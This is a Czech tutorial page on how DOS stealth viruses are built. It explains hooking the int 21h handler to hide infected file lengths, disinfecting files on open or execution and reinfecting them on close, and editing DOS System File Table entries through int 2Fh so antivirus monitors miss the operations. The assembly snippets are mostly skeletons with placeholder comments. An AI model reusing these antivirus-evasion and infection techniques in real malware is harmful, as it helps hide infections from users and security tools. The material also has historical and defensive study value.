![]() |
![]() |
|
Konstrukce stealth virů
Stealth viry se aktivním způsobem brání prozrazení své přítomnosti na počítači. Pro účinnost
stealth mechanismů musí virus zajistit, aby jeho tělo bylo umístěno do paměti rezidentně.
Podstatou stealth technik je monitorování služeb jádra DOSu pro práci se soubory, zejména
pak služeb otevření, uzavření a spuštění souboru. Částečný stealth mechanismusČástečný stealth mechanismus maskuje zavirovanou délku souboru. Virus obsahuje přerušení jádra DOSu (int 21h) a monitoruje funkce otevření nebo vyhledání souboru, kdy operačnímu systému vrací délky, tak jako kdyby soubor infikován nebyl. virus_int21h: cmp ah, 0fh ; sluzba "Otevri soubor pres FCB" ? je stealth_open_FCB cmp ah, 11h ; sluzba "Najdi prvni soubor pres FCB" ? je stealth_FCB cmp ah, 12h ; sluzba "Najdi dalsi soubor pres FCB" ? je stealth_FCB cmp ah, 4eh ; sluzba "Najdi prvni soubor" ? je stealth_dir cmp ah, 4fh ; sluzba "Najdi dalsi soubor" ? je stealth_dir ... dalsi testy ... stealth_open_FCB: ... volej originalni obsluhu int 21h ... je-li soubor infikovan, pak FCB sniz hodnotu jeho velikosti o virus ... ... dalsi virove manipulace ... stealth_FCB: ... volej originalni obsluhu int 21h ... zjisti adresu DTA, ve ktere je FCB ulozeno ... ... je-li soubor infikovan, pak v DTA sniz hodnotu jeho velikosti o virus ... ... dalsi virove manipulace ... stealth_dir: ... volej originalni obsluhu int 21h ... zjisti adresu DTA, ve ktere jsou informace o souboru ulozeny ... ... je-li soubor infikovan, pak v DTA sniz hodnotu jeho velikosti o virus ... ... dalsi virove manipulace ... V případě návěští stealth_open_FCB a stealth_FCB se velikost souboru nachází na adrese FCB[1dh] resp. DTA[1dh], v případě návěští stealth_dir pak na adrese DTA[1ah]. Vždy se jedná o dvojslovo (DWORD). Při volání funkce 0fh je přímo známa adresa FCB, a proto ji není potřeba zjišťovat prostřednictvím DTA. Stealth FCB délky na úrovni instrukcí je uveden v rámci konstrukce souborového SYS viru. Úplný stealth mechanismusPrincipem úplného stealth mechanismu je rozšíření jeho částečné podoby o manipulaci úplného odvirování žádaného souboru před jeho předáním operačnímu systému a jeho opětovného zavirování v době, kdy příslušný soubor již není žádán resp. je vyvolán požadavek na jeho uzavření. virus_int21h: cmp ah, 3dh ; sluzba "Otevri soubor" ? je stealth cmp ah, 4bh ; sluzba "Spust souboru - EXEC" ? je stealth cmp ah, 6ch ; sluzba "Rozsireneho otevreni souboru" ? je stealth cmp ah, 3eh ; sluzba "Uzavri soubor" ? je infect ... dalsi testy ... stealth: ... je-li oteviran nebo spusten spustitelny soubor, pak jej odviruj ... ... a predej odvirovany soubor pozadovane sluzbe ... ... dalsi virove manipulace
Důsledkem úplného stealth mechanismu je skutečnost, že antivirové kontroly nezachytí přítomnost viru,
neboť v době testování je virus ze souboru již odstraněn. mov bx, file_handle ; rukojet souboru mov ax, 1220h ; sluzba "zjisti cislo SFT" int 2fh mov bl, es:di ; cislo SFT (-1 pro neotevreny soubor ) mov ax, 1216h ; sluzba "zjisti adresu SFT" int 2fh ; adresa ES:DI ukazuje na SFT
Tato posloupnost příkazů nyní umožňuje přímou manipulaci s atributy souboru, módem otevření,
nastavení ukazatele posunu v souboru či manipulaci s datem a časem, bez volání služeb jádra
DOSu (int 21h), a tím i bez hrozby zachycení operací antivirovým hlídačem. mov es:[di+15h], 0 ; od offsetu 15h je v tabulce SFT ulozeno mov es:[di+17h], 0 ; dvojslovo aktualniho posunu v souboru Podobně pro přenastavení módu otevření na zápis: mov es:[di+02h], 2 ; read/write mód |
||
![]() |
![]() |